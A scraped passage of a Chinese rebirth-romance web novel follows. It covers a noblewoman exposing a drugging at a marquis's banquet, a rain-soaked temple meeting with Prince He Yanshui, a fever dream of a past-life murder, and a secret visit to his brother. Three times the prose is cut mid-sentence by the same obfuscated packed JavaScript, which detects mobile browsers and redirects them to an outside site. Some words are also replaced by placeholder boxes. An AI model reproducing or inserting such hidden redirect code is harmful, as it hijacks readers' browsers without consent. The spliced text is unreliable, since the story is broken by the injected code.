确认丛云无碍之后,莲玉荇让婢女将丛云送到屏风后歇息,由自己来处理这件事。 莲玉荇步履沉稳,一步步走到温叙面前,气势瞬间压人一头,看向地上趴着的温叙,眸色沉沉,面色不善。 果真如她料想那样,温叙压根没打算放过她们,在背地里搞了这么多手段。她不过是离开一会儿,便被温叙钻了空子。 温叙这人草包一个,色胆包天,但没这么深的心思,用出这种毒计,必然有人利用了温叙,在背后给他出谋划策。 ** 客房内外人围了一圈,下人已经去请常安侯夫人来主持公道,只是温叙毕竟家世显赫,姐姐又是昭文帝身边的宠妃,常安侯夫人必定不会对温叙如何,只能她们自己先解决了。 莲玉荇视线环顾一圈,落在最后面的贺砚随身后,随后不动声色移开眼。 “温叙,我只当你是草包一个,没什么礼仪教养,没想到你这人人品也不行,竟然做出这种事情,妄想毁了一个姑娘家的清白。” “你以为这是什么地方,能随你撒泼打滚吗!” 莲玉荇疾言厉色,说出的话掷地有声,吓得温叙抖了抖,身子往后缩了一点。 在场有人看不过去了,出声道:“丛姑娘长得花容月貌,温世子只是一时被迷了眼,才做出这等失礼之事,莲姑娘这番话说得也太过严重了一些。” 好一个“迷了眼”、“失礼之事”! 温叙不过是在她这里被拂了面子,被人指点,想在丛云这里讨回几分面子,顺带让自己难堪。 若是没有迎月,丛云又得走前世的老路,一辈子被人指指点点,而后郁郁而终。 莲玉荇心里冷笑,眼皮也没抬,看着温叙一番狼狈样,嗤笑:“这位公子好生伶牙俐齿,温公子口吐污言秽语之时你不在,方才他欲行不轨之时你也不在,怎么这么笃定为温叙开脱呢。莫不是你也行过此等事——” “你……”那人气急,无言以对,悻悻退了回去。 贺砚随落在后面,满眼兴味看着人群中间的女子,他倒是不知,莲玉荇这张嘴原来这般能说会道。 这时,婢女去请的郎中到了,常安侯夫人也姗姗来迟,落座主位,开始主持大局。 “来人,将温世子扶起来,这么趴在地上算什么样子,岂不丢了国公府的脸面。”常安侯夫人神色淡淡,俨然一副公正的样子,“事情经过我听下人细细道来,想来应该是有什么误会。” 温叙坐在凳子上,回过神来,变了脸色,赶忙接话,“是是是,本公子一时喝醉酒,误闯了丛姑娘的客房,并未做什么不当之举,倒是这个不知名姓的女子,不分青红皂白打了我一顿!” 温叙仿佛找到了支撑点,越说越激动,感觉自己才是受害者。 迎月垂眼站在这边,没什么兴致搭理他,莲玉荇则关注着郎中的诊脉情况,不再说话。 郎中诊完脉,恭敬道:“那位小姐体内有□□,草民已经给小姐施针逼出,再过一个时辰便无事了。” 此话一出,不仅莲玉荇,常安侯夫人和温叙也变了脸色。 都知道温叙名声不好,好色狂悖,没想到他胆子如此之大,敢在常安侯府用□□! “温叙,你好大的胆子!”莲玉荇沉默半晌,眼神冰冷刺骨,厉声喝他。 原先她还没那么生气,直到这一刻听到丛云被下了□□,十分肯定温叙抱了那种心思,如前世那般。 莲玉荇道:“派人给丛云下□□,而后再让人将她绑到这里,你说你没那种心思,谁会信?” “我给你半柱香时间,给我如实交代是谁撺掇你做这些事,不然明日,整个京城都会知道你的所作所为。” 莲玉荇下了最后通牒,在场的世家公子小姐面面相觑,想不到莲玉荇竟然当着常安侯夫人的面逼问温世子,可真是一点面子都不给。 常安侯夫人自知理亏,没再讨论帮温叙说话,默认把事情的解决权送到莲玉荇手上。 温叙还在狡辩,“我根本没做——” 温叙话还未说完,便被人打断,“母亲,孩儿求见。” 小侯爷席凝款款而来,身后的仆从押着一男一女。 常安侯夫人疑惑道:“我儿这是?” 小侯爷拱手行礼,仪态万千,缓缓道:“方才下人在后院发现了鬼鬼祟祟的男子,顺藤摸瓜找到了另一位婢女,后院客房出事,想来便与这两人有关。” 仆从两人押在地上动弹不得,两人连连说着饶命,把嘴里知道的都吐了个干净,看起来害怕极了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333965|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 丛云身子好了不少,隔着屏风,认出男子正是拐骗她的那个,声音轻浅,“是他。” “温叙你还有什么话说。”莲玉荇质问温叙,温叙眼珠咕溜一转,有了主意,既然逃不掉,不如认下。 温叙恼羞成怒,“丛云已经跟了我,她失了清白,你断然不能再让她失了夫君!” 丛云脸色煞白,莲玉荇手倏然捏紧,满座哗然,这是要毁了人家姑娘的清白啊。 如今温叙当着这么多人的面一闹,谁家好儿郎还愿意娶一个名声有损的女子。 是啊,谁愿意娶一个名声有损的女子。 莲玉荇几乎是咬牙切齿,“温叙,你怎敢污蔑!明明是你做恶在先,被人撞破才未能得逞,丛云清白之身,岂能容你随意侮辱。” 众人视线不约而同落在黑衣女子身上,期待着她能给出一个合理的答案。 ** 迎月是端王贺砚随的随身暗卫,从来只听贺砚随调遣。平日里都是一些杀人的活,保护姑娘倒是第一次。 此刻视线全汇聚在她身上,让她有些不自在。迎月不经意偏过头,用眼神向她家王爷求助。 贺砚随难得愣神,没有注意到迎月。 原先他并不想管莲玉荇的闲事,被人陷害又或者如何,都和他没有关系。 只是一群宵小肆意妄为,总是看不惯,故而派了迎月来帮扶一把。 现在这种情形,有点脱离他的掌控了。贺砚随不悦地皱起眉头。 迎月看不懂贺砚随的情绪起伏,以为是自家王爷不想掺和,决定闭口不言,便看到贺砚随给她使了个眼色,尽管眼底满是不耐。 她心里了然,冷脸说话,“温世子欲行不轨,被我踹飞了。” 话里没什么感情,却把众人噎得够呛,还有人捂着嘴偷笑,温叙嚣张跋扈惯了,难得吃瘪,还让他们遇上了。 莲玉荇笑不出来,一群人围在此处,不是为了讨伐温叙作恶,而是为了满足他们旺盛的好奇心罢了。 她看了看脸色苍白的丛云,顿了一会儿,开口道:“居心不正,其心可诛,既然你拒不承认,那便连同证人一并送往衙门,由衙门断案罢。” 莲玉荇一锤定音,闹剧便落幕了。 常安侯府的仆从把温叙扣住往外抬,污言秽语不断,莲玉荇没什么表情,顺便遣散一众世家公子小姐,视线略到某一处时顿住,眸色渐深。 ** 从常安侯府回来以后,丛云便生了一场大病,闭门不出半月有余。 京都中不时传出丛府千金的小道消息,但都被丞相府压了下去。 夜色渐深,莲玉荇躺在床上毫无睡意,脑海中不断浮现莲丞相的话。 “一个末流世家的女子,也值得你如此大费周章?当心最后吃力不讨好。” “这几日温国公在朝堂上和我争论不休,俨然是为温叙出气。身为丞相府嫡女,不可任性妄为,还要顾忌着家族才行。” …… 翌日,莲玉荇撑着困倦叫来妙青,“你去库房挑一副上好的墨宝送到端王府。” 那日赏花宴迎月帮她们解了围,想来是贺砚随在背后运作,自己也算欠了他一个人情,理应回他一份礼物,聊表谢意。 只是,还未过两个时辰,端王府便把墨宝原封不动送了回来。 莲玉荇看着那副墨宝,一时间看不懂了。 贺砚随这是什么意思? 5. 庙宇 赤鹰掠过山峦跌宕,穿过京都繁华建筑,飞进了古朴的院子里。 暗卫十九上前解开赤鹰腿脚上的小竹筒,拿出里面的密信,绕过假山水榭,进了书房。 十九把密信呈到书案面前,恭敬道:“启禀主子,河西郡的暗卫送信来了,您吩咐的事情已经办妥,不过并未发现什么异常。” 贺砚随放下手中书卷,接过密信,忽地叹了口气。 十九疑惑道:“主子是有什么烦心事吗?” 贺砚随不答,伸出手按了按额头。 前世他御驾亲征,大军一路势如破竹,到最后北境突厥只能固守一城,颓然等死。 按道理,北境军此战胜利必然毫无悬念,只要把突厥人困死在城内,便可不费吹灰之力拿下城池。 谁曾想,京都运送的粮草突然被劫,援军迟迟不到,突破重围前来报信的人说一切都是皇后莲玉荇的安排。 他自然不信,逼问之下,报信的人才将他留给莲玉荇的私印拿出来。 见此印,如皇帝亲临。 胜败逆转,大晋朝二十万的军队全军覆没,贺砚随自己也死无葬身之地。 故而,贺砚随对莲玉荇的感情实在复杂,爱恨交织,欲罢不能,屡屡影响了他的判断力。 正恍惚回忆,迎月忽然端了个方方正正的盒子进了书房,放到桌上,“主子,丞相府的小厮送来一副墨宝,说是丞相小姐的答谢之礼,望王爷笑纳。” 贺砚随将密信放到火舌上燎了,姿态随意地打开盒子,只看了一眼,就“砰”地一声关上了。 十九和迎月摸不着头脑,碍于身份,不敢多言。 “从哪里送来便送回哪里去,物归原主。”贺砚随抛下一句话,拿起书卷继续看,“景王府那边继续盯着,有任何异动立即传信给本王。” 迎月抱上盒子,二人拱手行礼,退出书房。 待站得稍远一些,十九赶紧凑到迎月身边,小声道:“迎月,你前几日和王爷去参加赏花宴,是不是有什么特别的女子?” “何出此言?”迎月不解,她一切都遵照主子的意思行事,主子的心思她从来不会妄加揣度。 十九一脸复杂之色,迎月从前一直待在暗处,赏花宴上公然露面,显然已经不符合暗卫的规矩。 主子让迎月从暗处转到明处,定是赏花宴上发生了什么万分紧急的事情。 而赏花宴只有那件事传遍京都,该不会主子对丛姑娘有意? 十九眼睛都睁大了,这这这…… 他是不是发现什么不得了的事情了。 不过主子又为何对莲姑娘送来的礼物反应这么大? 十九又问:“暗卫暴露于人前,价值就已经没了一半,主子是怎么说服你的?” 迎月是暗卫队伍里的佼佼者,虽是女子,却不输男子。把这么优秀的人放在明处,不知道主子怎么想的,而且迎月竟然也愿意。 “秘密。”迎月只说了两个字。 十九搞不懂,眼看着迎月往门口去,他急忙问:“你去哪儿?” “把墨宝送回丞相府。”迎月一边走一边扬扬手,“快去做事,不然这个月的月钱别想拿了。” …… 书房外两人说说笑笑,贺砚随心思却烦闷,扔了书卷,站到窗边,看着院子里那只赤鹰出神。 莲玉荇若是真感念他的作为,不该当面跟他道谢么?随便遣人送来一副墨宝就把他打发了。 他根本不喜欢墨宝,只有贺沅安那傻子才喜欢。 贺砚随心里的戾气又在翻涌,他总想着前世之事是误会,想方设法找出证据替她找补。 她倒好,仗着没有记忆,若无其事,肆意妄为。 青绿的叶片在骨节分明的手上转了几圈,贺砚随气闷得很,叶片倏地脱手出去,稳稳钉在墙上。 不过,最近莲玉荇各种举动实在反常,说不定也像他一样重生了呢? 他倒是要试试莲玉荇到底知不知道前世之事。 “莲玉荇……”贺砚随喃喃自语。 ** 赏花宴之后,莲玉荇大门不出二门不迈,莲丞相看不下去,大手一挥,当即让莲夫人带着莲玉荇出门去。 莲夫人算着时日,莲玉鹤外放河西郡已经六个月零十天,边疆地乱,她们打算去给莲玉鹤求个平安,顺便给莲府点一盏长明灯,保佑莲家长盛不衰。 广安寺是大晋朝的名寺,先皇重佛,曾亲自为广安寺题字,每日都有众多香客来访,香火络绎不绝。 百级长阶蜿蜒而上,连接烟气四散的佛像宝殿,庄严巍峨,禅意十足。 广安寺主持领着她们进了正殿,把准备好的香烛拿过来。 莲夫人跪在蒲团上,念念有词,大概是在说些吉利话。 莲玉荇在莲夫人旁边跪下,抬头看着面前的佛像,光影翩跹,耳边所有嘈杂声响也一并消失了。 她盯着佛相含笑的嘴唇,愣神,脑海里放思绪纷飞,只有一个念头清晰可见。 这辈子,她不想再和贺砚随成亲了。 跪拜礼完成之后,莲夫人随主持去商议点长明灯之事,留下莲玉荇一个人在原地。 小沙弥怕她无聊,一路弯弯绕绕,领着她去了正殿后的客房。 房间里物品摆放整齐,有一股淡淡的檀木香,闻起来很熟悉。莲玉荇在窗边落座,往外看去。 百人环抱的苍天古树枝桠伸展,张牙舞爪的,似乎想去更远更广阔的地方。 有一枝不随旁枝往高处去,偏往下长,斜斜地伸到客房窗棂前,伸手就能摸到枝叶。 莲玉荇顺着这一枝往上看,脖颈仰着,古树上面挂满了木牌,风一吹,发出凌凌动听的响声。 “莲施主,这是本寺有名的祈愿树,求姻缘最是灵验,施主不妨去看看。”小沙弥说道。 既是如此说,莲玉荇也不好推辞,出了客房来到树下,近看才窥见古树全貌,树根尤其粗壮,往上看一片青色,绿意盎然。 风吹声动,莲玉荇隐约看到木牌上的字,求姻缘、求财富、求平安……世间百态万相似乎都汇聚与这方寸之地。 “叮铃”的响声传进耳朵里,莲玉荇抬头看去,一块与众不同的木牌映入眼帘,没有繁复的花纹,像是路边随手捡起的。 木牌上的字苍劲有力,可以想见字的主人,只是离得远,不能够看清全貌。 莲玉荇突地生了好奇,想伸手去够来看,木牌被风卷起,四处晃动,小沙弥忽地惊呼一声,吓了她一跳。 只听小沙弥躬身道:“端王殿下。” 莲玉荇身子微僵,手上动作顿住,下一瞬,玄色衣袍在繁密的绿丛中显露出来。 呼吸刹那间乱了。 ** 贺砚随一直不喜欢仲夏,原因有二,一是夏天太热,仲夏的天气尤为炎热,且变幻莫测,时而风时而雨,让人头昏脑胀。 二是,生母柳氏忌日乃是仲夏。 柳氏去的早,贺砚随对她的印象也已经模糊不清,只记得柳氏在时,时常会为贺砚随和贺沅安讲故事,但大多数时候,她的精神都不大好。 贺砚随从回忆里抽身,不愿再追忆往昔。 “十九,备马车。”贺砚随发话,藏在暗处十九悄然离去,吩咐人备下马车。 每年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333966|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候,主子都会到广安寺同空明大师静坐一天一夜,参悟禅意。 不过主子的手段暗卫们都已经领教过了,十九心里嘀嘀咕咕,却不敢在贺砚随跟前说道。 贺砚随他们走的是小道,轻快便捷,不到一个时辰就已经到了广安寺。 只是到了才知,空明大师已经闭关了。 空明院里的僧人朝贺砚随行礼,“端王殿下,空明师父前日刚闭关,此刻还未出关,您不妨在客房稍事休息。” 贺砚随点点头。 僧人知道贺砚随和空明的交情,了解两人每年这个时候都会相聚,把人领到客房。 不是惯常的那间。贺砚随在僧人引路之时便发现了,眼眸微暗,若有所思。 身旁随侍的迎月心思敏锐,直截了当得问:“平日里都是在西南角的那间客房,今日怎么突然换了一间?” 贺砚随除了柳氏忌日之时来广安寺,平日里也常来此处换换口味,所以广安寺里有一间专门的客房是留给贺砚随的。 “端王殿下见谅,小沙弥不知西南角的客房是殿下专用,白日里带了一位女客落榻,这才临时换了客房。”僧人早就料到这个问题,面色不变,双手合十躬身道。 贺砚随闻言,剑眉一挑,说道:“无事,本王今日就在这儿等吧。” 僧人退了下去,迎月也隐藏到暗处,贺砚随端起茶水往嘴边送,视线往窗外看去,瞧见一抹熟悉的倩影。 她怎么在这儿?贺砚随端着茶杯的手顿住,不着痕迹地皱了皱眉头。 莲玉荇伸手去够树上的木牌,贺砚随却觉得那木牌眼熟,片刻,终于想起那块木牌的来历,身上流露出一丝不自在。 过了一会儿,贺砚随起身,往外走去。 他在莲玉荇面前站定,似笑非笑,“莲姑娘别来无恙。” 莲玉荇听他问候,略微欠身,也不说话,只低着头,不知道在看什么。 贺砚随只当她不想和自己说话,便也闭上嘴,顺着她的视线看过去,一对同心锁落在石柱上,因为风吹日晒已经褪了颜色。 同心锁,寓意永结同心。 莲玉荇也曾和身边这人一起落过一对同心锁,当时满心欢喜,沧海桑田流转,如今却是物是人非。 两人就这么一言不发僵持着,距离不远不近,莲玉荇偏生听到了贺砚随不疾不徐的呼吸声。 她默不作声往后退了两步,隔开距离,发觉贺砚随脸色不对,后知后觉方才的举动有些失礼。她轻声开口:“端王殿下为何不收?” 当今圣上颇为忌惮结党营私,莲玉荇送礼是用自己的名义,贺砚随犯不上如此警惕。 收?收什么?贺砚随意识飘远,缓了一会儿才想起她说的“礼”是什么。 那副墨宝。 “莲姑娘既是答谢,为何不亲自当着本王的面道谢,反而送一副墨宝?”贺砚随语气很轻描淡写,没人听出他话里的重视和拈酸。 莲玉荇重视丛云,前世贺砚随就知晓,生怕知交好友遭遇不测,后来丛云不在世,莲玉荇难过得紧,山珍海味,绫罗织锦都不能将人安抚下来几分。 既然这么重视,断然也没有理由对他这么轻慢。 贺砚随眼睛微眯,不着痕迹打量着莲玉荇,仿佛察觉到了什么,她在赏花宴上这么紧张丛云,像是早就知道丛云会出事一样。 莲玉荇……你也重生了吗?又或者有着前世的记忆? 所以刻意又生分得想和他隔开距离。 贺砚随心里猜测不断,终于沉声道:“莲姑娘怕我?” 语气平缓,却不容置喙地给莲玉荇定了一个莫须有的罪责。 6. 妄念 贺砚随说话实在莫名其妙,莲玉荇十分感念他在赏花宴上救了丛云,所以按照礼仪规制给端王府送去墨宝。 明明是贺砚随自己退了礼,现在反倒打一耙,说她不愿亲自答谢。 照理说,她没有和上辈子一样接近贺砚随,贺砚随应该对她很陌生才对,怎么现在这么自来熟。 莲玉荇心里不爽,面上却不显,“今天正好和王爷巧遇,那便亲自和王爷道谢,多谢王爷出手相助,王爷不喜墨宝,我回府之后遣人再送一份到端王府。” 莲玉荇将重音落在“亲自”二字,希望贺砚随不要再胡搅蛮缠。 “莲姑娘不必多礼。”贺砚随拨弄这拇指上的玉扳指,眉眼带笑,看上去心情不错。 莲玉荇心情烦闷得很,尤其是看到贺砚随这张厚脸皮,正准备行礼告退,远山忽然拢过来一大片乌黑的云彩,风也呼呼地吹,衣裳、发丝都被吹起。 还未等退回客房,大雨突地瓢泼而下,将人都浇透了。 狂风大作,雷声渐起,莲玉荇眼前一片模糊,准备凭着来时的印象返回客房,玄色的衣裳往头上罩了下来,隔绝了大部分的雨水。 檀木香夹杂着淡淡的菖蒲香气扑鼻而来。 莲玉荇鼻尖动了动,透过衣裳往上看去,贺砚随衣衫凌乱,没了一开始的优雅做派,鎏金冠沾了水,压住了他满身凌厉,多了几分少年气派。 恍若前世她和贺砚随的初见。 以现在这个年纪看来,贺砚随确实还是少年。莲玉荇腹诽道。 贺砚随就这样一手护着莲玉荇,一边往客房跑去,雨水粘湿了鞋袜。 到了屋檐下,两人默契地拉开距离,小沙弥送上准备好的姜茶和帕子,让两人擦拭整理衣裳。 莲玉荇让妙青接了东西,回了客房。 贺砚随站在原地,看着莲玉荇进的那间屋子,有一瞬间怔住,良久,低低地笑了出来。 身后的十九一脸疑惑,不知道他家主子这是抽了什么风,盯着人家姑娘的背影笑个不停。 迎月移开视线,看向远处。 ** 时近傍晚,先前的滂沱大雨已经停了,远山青黛惹眼,脚下的青石板被雨水浸透,一片暗色。 贺砚随昨日处理公务到深夜,今日恰好有雨,淅淅沥沥雨声中他竟然睡着了。 还是在广安寺。 连日来公务缠身,事事几乎都需要贺砚随亲自上手,合眼的时机几乎没有。 方才虽然是浅眠,但也缓解了不少疲累,此刻贺砚随眼神奕奕,理了理袖子,走出客房。 迎月上前通报:“主子,空明大师一个时辰前已经出关,正在禅房等候,您要不要现在过去?” 贺砚随一身矜贵气派,眼皮撩起,往客房那边随意一瞥,发现客房里空空如也,眉头微不可察皱起。 还未等贺砚随问起,十九便殷勤凑上来说话:“主子,莲姑娘同丞相夫人上山进香,山雨迷蒙,怕道路难行,早早便下山了。” 贺砚随斜睨他一眼,大概是觉得十九有些多嘴,十九眼睛骨碌碌转了一圈,缩着脑袋往后退了几步。 “走吧。”贺砚随开了尊口。 早就在一旁等待的引路沙弥连连称是,赶紧领着一行人前往空明大师的禅房。 到底是年轻,面对达官贵胄还是免不了紧张一番。小沙弥一路上胆战心惊,到了禅房门口,得了空明大师的吩咐,退了下去。 被大晋朝上下称呼为空明大师的男子,不过及冠之年,面庞稍显稚嫩,眉心缀着的痣红胜火。 寻常人见了自然不信,可事实如此,空明降世之时天降祥瑞,万佛来朝。到了广安寺也是众多弟子中最有佛法造诣之人,让人不得不感叹天意使然。 众人退了出去,只留下空明和贺砚随二人,空明坐在小几一边,给贺砚随倒了茶水。 贺砚随也不客气,撩起衣摆坐在空明对面,“空明师父佛法高深,怎得还时时闭关,这叫天下僧人如何自处?” “学无止境。”空明躬身笑道,发觉贺砚随似乎有些心不在焉:“王爷似乎有心事,可说出来,贫僧替您解答一二。” 二人相识多年,空明对贺砚随再了解不过,方才贺砚随坐下来,视线漂浮不定,显然是有心事。 贺砚随手一顿,茶水差点撒了出来,神色淡淡,“确有一件烦心事。” “有人欠了本王一件贵重之物,本王虽想把东西要回来,但始终心有芥蒂,迟迟说不出口。” 空明道:“王爷若真心想把东西拿回来,不如先把话说开了。” 贺砚随若有所思点点头。 言毕,空明也没再说话,留出时间让贺砚随自己思索。 过了片刻,空明带着贺砚随进了内室,“柳夫人的香案我早早命人添了香火,端王殿下不如先去上香吧。棋局也已备好,今夜我们便好好厮杀一场。” 贺砚随扯了扯嘴角,“空明师父莫要耍赖就好。” 铜炉生香,烟气袅袅而上,乱了人心弦。 ** 雨声时近时远,打在竹林上沙沙作响,窗棂处布满水汽,顺着缝隙飘进屋子里,冷得彻骨。 暖炉被下人换了一次又一次,本应该十分暖和,被窝里却怎么也热不起来。 明明是夏天,好似经过一场雨就进了冬日。 一场雨,一场寒。 白天在广安寺上完香后,莲夫人怕山上寒气深重,会惹风寒,趁着雨停,便带着莲玉荇匆匆忙忙回了府。 热汤姜茶轮番上阵,只为了扫除一身寒气,却不料莲玉荇身娇体弱,仅仅是淋了一点雨,身体就吃不消了,傍晚就发了高热。 莲夫人和莲丞相心急如焚,请了郎中来瞧,开了几副药发汗。 “怎么样?烧可退下了?” “未曾退下,想来是天气变得太快,小姐身子受不住,这才病倒了……” 一门之隔,莲夫人和莲丞相正在交谈,莲玉荇从高热带来的混沌中捡回一点清醒意识,眼睛却闭得死紧,怎么也睁不开。 窸窸窣窣的声音褪去,莲玉荇意识又一次混沌起来。 …… “阿荇,你看为夫作的这幅画如何?” “花鸟意趣,实在相配。” 有人说话。 是谁? 莲玉荇觉得声音熟悉,却怎么也想不起来,手上紧紧攥着,倏地睁开眼,眉目一凝。 “她”与贺砚随正坐在书案前,俯首帖耳,格外亲密。 待到画作完成,贺砚随凑到“她”耳边,轻咬着“她”的耳垂温存,一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333967|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声唤“她”的名字。 那时看来真是郎情妾意。莲玉荇自嘲。 此刻她以灵魂的状态存在,是一个旁观者,冷眼瞧着这一幕。 为政者最在乎的,一是权势,二是名声。 莲玉荇突然想起,前世贺砚随每日下朝,总是亲自跑到寻仙楼买她最爱吃的糕点,一来二去,坊间也流传出贺砚随爱妻敬妻的话来。 现在想来,当真处处都是破绽,好你个端王,心思缜密,连莲玉荇都不得不佩服了。 地面忽然一晃,眼前的景象飞速流转,还未等莲玉荇反应过来,一把剑横插过来,“噗嗤”一声,鲜血流了一地。 错愕抬头,莲玉荇眸光一瞬间暗淡下来,龙袍下摆用针线绣出来的云纹有些刺目。 莲玉荇下意识闭上了眼睛,怎么在梦里都还会梦到,真是阴魂不散! 同样的场景,前世她是被人斟了毒酒,而在梦里,却是贺砚随亲自动手杀了她。 莲玉荇嘴角溢出鲜血,无声笑笑,牵动着伤口格外疼痛。 “唰——” 莲玉荇突地喷出一口血,颓然倒地,虚虚看去,原来是贺砚随拔出了剑。 她现在明明是灵魂状态,怎么还能感受到疼痛呢? 好疼…… 四肢百骸一阵阵发冷发疼,莲玉荇拼尽全身力气,狠狠地瞪了贺砚随一眼,随后昏死过去。 ** 莲玉荇清醒过来已经是第二日傍晚,莲丞相心下稍安,但告了假没去上朝,和莲夫人一同待在家里照看。 “阿荇,你这一病可把父亲母亲急得不轻。”莲丞相坐在床头,脸上满是疲态。 平日里精神抖擞的丞相,现下是这番颓然模样,莲玉荇心里愧疚不已,“女儿让你们担心了。” 莲夫人笑笑,“现下已经好了不少,递到府上的拜帖,我已命人退了回去,这几天你就安心在府里休养。” “遵命。”莲玉荇从药碗里抬起头,乖巧道。 莲丞相和莲夫人走后,妙青端了水进屋,准备给莲玉荇擦擦身子。 莲玉荇因为高热发了不少汗,身上黏黏腻腻很不舒服,现下一擦,倒是好了不少。 甫一换好衣服,莲玉荇靠在床头闭目养神,想起什么,嘴唇微张,“妙青,这两日有谁送来拜帖?” 妙青回答:“回小姐,是丛云姑娘、温世子,还有御史大夫家的小姐……” 听妙青说完,莲玉荇罕见地沉默了一会儿,说起御史大夫,她倒是想起一件事。 莲玉荇心里有了主意,当即让妙青拟了一份拜帖,妙青看着上面的字迹,有些犹豫。 “小姐,您还在病中,方才夫人让我拒了拜帖,也没有再送拜帖的道理。” “无妨,你小心行事,别让母亲他们知晓了。” 妙青捏着拜帖的手紧了紧,最终还是妥协,老老实实送拜帖去了。 莲玉荇看她走远了,眼神沉了下来,抬手摸了摸小腹的位置,细细密密的疼痛泛起。 莲玉荇咬紧了嘴唇,暗暗道—— 你可别再犯蠢了,万不可再被贺砚随玩弄于股掌之中。 这场梦,或许就是上天在提醒她。 莲玉荇用手轻轻揉着小腹,心道,重来一世,她可不想再死一次了。 7. 行宫 青石板路上,一辆平平无奇的马车悄然而过,片刻后停在了景王府门口。 不一会儿,头戴斗笠的两人从马车上下来,其中一人环顾一圈,发现周围没什么人,才抬脚进了景王府的大门。 门房在前面带路,莲玉荇和妙青跟在身后,看样子是要去后院。“莲姑娘,王爷在后院池塘喂鱼,嘱咐我直接带姑娘过去。” “烦请带路。”莲玉荇颔首,贺沅安这几日推拒所有拜帖,闭门不出,并未有什么消息传出来,不知道在忙活些什么。 莲玉荇只能死马当活马医,让下人往景王府递了拜帖,好在贺沅安接下了拜帖,同意见她。 不然她真是连见贺沅安一面都做不到。 穿过回廊,后院池塘便向众人敞开来,莲玉荇抬眼看去,贺沅安身着常服,此刻正坐在岸边石头上,姿态随意,向水中投喂鱼食。 莲玉荇从来没看过贺沅安这么轻松自在的表情,毕竟平日里贺沅安温文尔雅,像是戴着假面,怎么也看不透。 至此,莲玉荇也越发坚定地明白,那日在花街柳巷,就是贺砚随假扮贺沅安来逗弄她。 想到这里,莲玉荇的眼神微动。 贺沅安听到动静,手上动作顿住,脸上恢复了往日常见的表情,看向他们:“有客来,本王不曾亲自迎接,失礼了。” 莲玉荇欠身行礼,“臣女参见王爷。” 贺沅安随意把手里的鱼食全都洒在池塘里,一群鱼儿争先恐后抢夺食物,有水溅起来落到两人的衣裳上。 “本王听说莲姑娘前几日进香归来病倒了,如今一看应当是好了不少。”贺沅安探究的视线落在莲玉荇身上,不加掩饰。 贺沅安又道:“莲姑娘这么急着送拜帖到府上,想来是有要事,不妨直说。” 景王倒是比前世直白得过分。莲玉荇面上闪过一丝为难,贺沅安浸淫朝堂已经多年,察言观色,挥挥手屏退了周围的人,妙青也跟着出去了。 下人们远远地站着,莲玉荇转过身,微微一笑:“暑气愈重,陛下已下旨命钦天监择良辰吉日前往避暑行宫,皇子宫妃家臣都得随行。” “臣女此番前来,是有事相求于景王殿下。” 话音落下,二人视线倏然相对,贺沅安听着莲玉荇说话,一言不发,只是眸色渐渐深了。 微风抚过岸边柳树,枝条随风飘荡,渐渐模糊了人影。 ** 天气越来越炎热,昭文帝降下圣旨,不日将前往避暑行宫,着皇子、宫妃和亲近的臣子随行。 于是从广安寺回来之后,贺砚随便在王府专心处理好余下公务,以免公务堆积。 直到书案上的折子少了一些,贺砚随才有空出来逛逛。 长安街热闹非常,因为炎热,不止寻仙楼,各处茶楼也座无虚席。 贺砚随穿着常服,俨然是富贵人家的公子哥,迎月随行,跟在贺砚随身后,十九则藏在暗处,小二殷勤地将他们请上楼。 “各位客官稍等,茶点马上到!”小二朝他们一笑,退了出去。 十九悄无声息站到贺砚随身后,语气谄媚:“主子,寻仙楼的茶点可是京都最有名的,不知道小的是否有幸尝尝?” 贺砚随斜睨他一眼,“说得好像哪次你没吃一样。” 十九哑然,虽然他每次都吃,但是主子就这么拆穿他,还有点不好意思。 十九心想主子真是无趣,利落地转身退到角落,盯着他们这边的动静。 贺砚随觉得好笑,这时小二推门进来,勤快摆上茶水和点心。 “瞧瞧,这色泽、香味……真不愧是寻仙楼的招牌。”贺砚随故意拈起一块,道:“十九,还不过来伺候。” 十九脸色变了变,但还是动作麻利站到桌前准备伺候,不知道看到什么,视线忽地顿住。 “何事?脸色变得这般厉害。”正准备把点心赏给十九的贺砚随发现不对,顺着十九的视线看去,神情突变。 寻仙楼正对面的巷子口,几日未见的莲玉荇笑意吟吟,正和他的胞弟贺沅安你来我往,聊得开怀。 像是察觉到了什么,莲玉荇往这边看过来,贺砚随下意识偏过头,生怕自己被发现了。 莲玉荇怎么会去和贺沅安扯上关系? “听说莲姑娘从广安寺回来之后便染了风寒,卧病在床,递上门的拜帖悉数被退了回去。此刻怎么在这儿?”迎月往窗外看了看,疑惑道。 “怎么回事儿?”贺砚随衣袖下的手捏得很紧,再往外看去的时候两人已经不见了,空荡荡的巷口像是在无声宣告着什么。 